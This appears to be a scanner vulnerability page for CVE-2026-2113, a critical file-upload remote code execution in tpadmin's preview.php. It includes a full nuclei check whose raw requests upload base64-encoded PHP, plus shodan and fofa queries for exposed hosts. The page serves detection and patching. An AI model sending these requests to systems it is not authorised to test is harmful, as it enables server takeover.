tpadmin <= 1.3.12 - Remote Code Execution

criticalseverity

9.8CVSS score

2.4%likelihood of exploitation, next 30 days

84%of all CVEs are less likely

Readycheck to confirm it

yuan1994 tpadmin up to version 1.3.12 is vulnerable to Remote Code Execution via unrestricted file upload in the WebUploader preview component (/public/static/admin/lib/webuploader/0.1.5/server/preview.php). An unauthenticated remote attacker can submit base64-encoded PHP payloads leading to arbitrary code execution with web server privileges.

Impact

Unauthenticated remote attackers can execute arbitrary PHP code on the server, leading to full system compromise.

Fix

Delete or restrict access to the preview.php script or upgrade to a patched version.

How to confirm it

Send: POST /public/static/admin/lib/webuploader/0.1.5/server/preview.php ; POST /static/admin/lib/webuploader/0.1.5/server/preview.php
Positive when: contains "\"jsonrpc\"" and "preview/"
Send: GET {{preview_path}}
Positive when: contains "8d545c3577fdfbf5ae9e254ca893a0ef" AND status 200

Run it with nuclei: nuclei -id CVE-2026-2113 -u <target>

The full check

id: CVE-2026-2113

info:
  name: tpadmin <= 1.3.12 - Remote Code Execution
  author: jankesec
  severity: critical
  description: |
    yuan1994 tpadmin up to version 1.3.12 is vulnerable to Remote Code Execution via unrestricted file upload in the WebUploader preview component (/public/static/admin/lib/webuploader/0.1.5/server/preview.php). An unauthenticated remote attacker can submit base64-encoded PHP payloads leading to arbitrary code execution with web server privileges.
  impact: |
    Unauthenticated remote attackers can execute arbitrary PHP code on the server, leading to full system compromise.
  remediation: |
    Delete or restrict access to the preview.php script or upgrade to a patched version.
  reference:
    - https://github.com/yuan1994/tpadmin
    - https://nvd.nist.gov/vuln/detail/CVE-2026-2113
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-2113
    epss-score: 0.02427
    epss-percentile: 0.84359
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 2
    vendor: yuan1994
    product: tpadmin
    shodan-query: http.html:"tpadmin"
    fofa-query: body="tpadmin"
  tags: cve,cve2026,tpadmin,rce,file-upload,webuploader,intrusive

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /public/static/admin/lib/webuploader/0.1.5/server/preview.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        data:image/php;base64,PD9waHAgZWNobyBtZDUoJ2N2ZS0yMDI2LTIxMTMnKTs/Pg==

      - |
        POST /static/admin/lib/webuploader/0.1.5/server/preview.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        data:image/php;base64,PD9waHAgZWNobyBtZDUoJ2N2ZS0yMDI2LTIxMTMnKTs/Pg==

    stop-at-first-match: true

    matchers:
      - type: word
        part: body
        words:
          - '"jsonrpc"'
          - 'preview/'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: preview_path
        part: body
        group: 1
        internal: true
        regex:
          - '"result" : "https?://[^/"]+(/[^"]+\.php)"'

  - raw:
      - |
        GET {{preview_path}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "8d545c3577fdfbf5ae9e254ca893a0ef"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from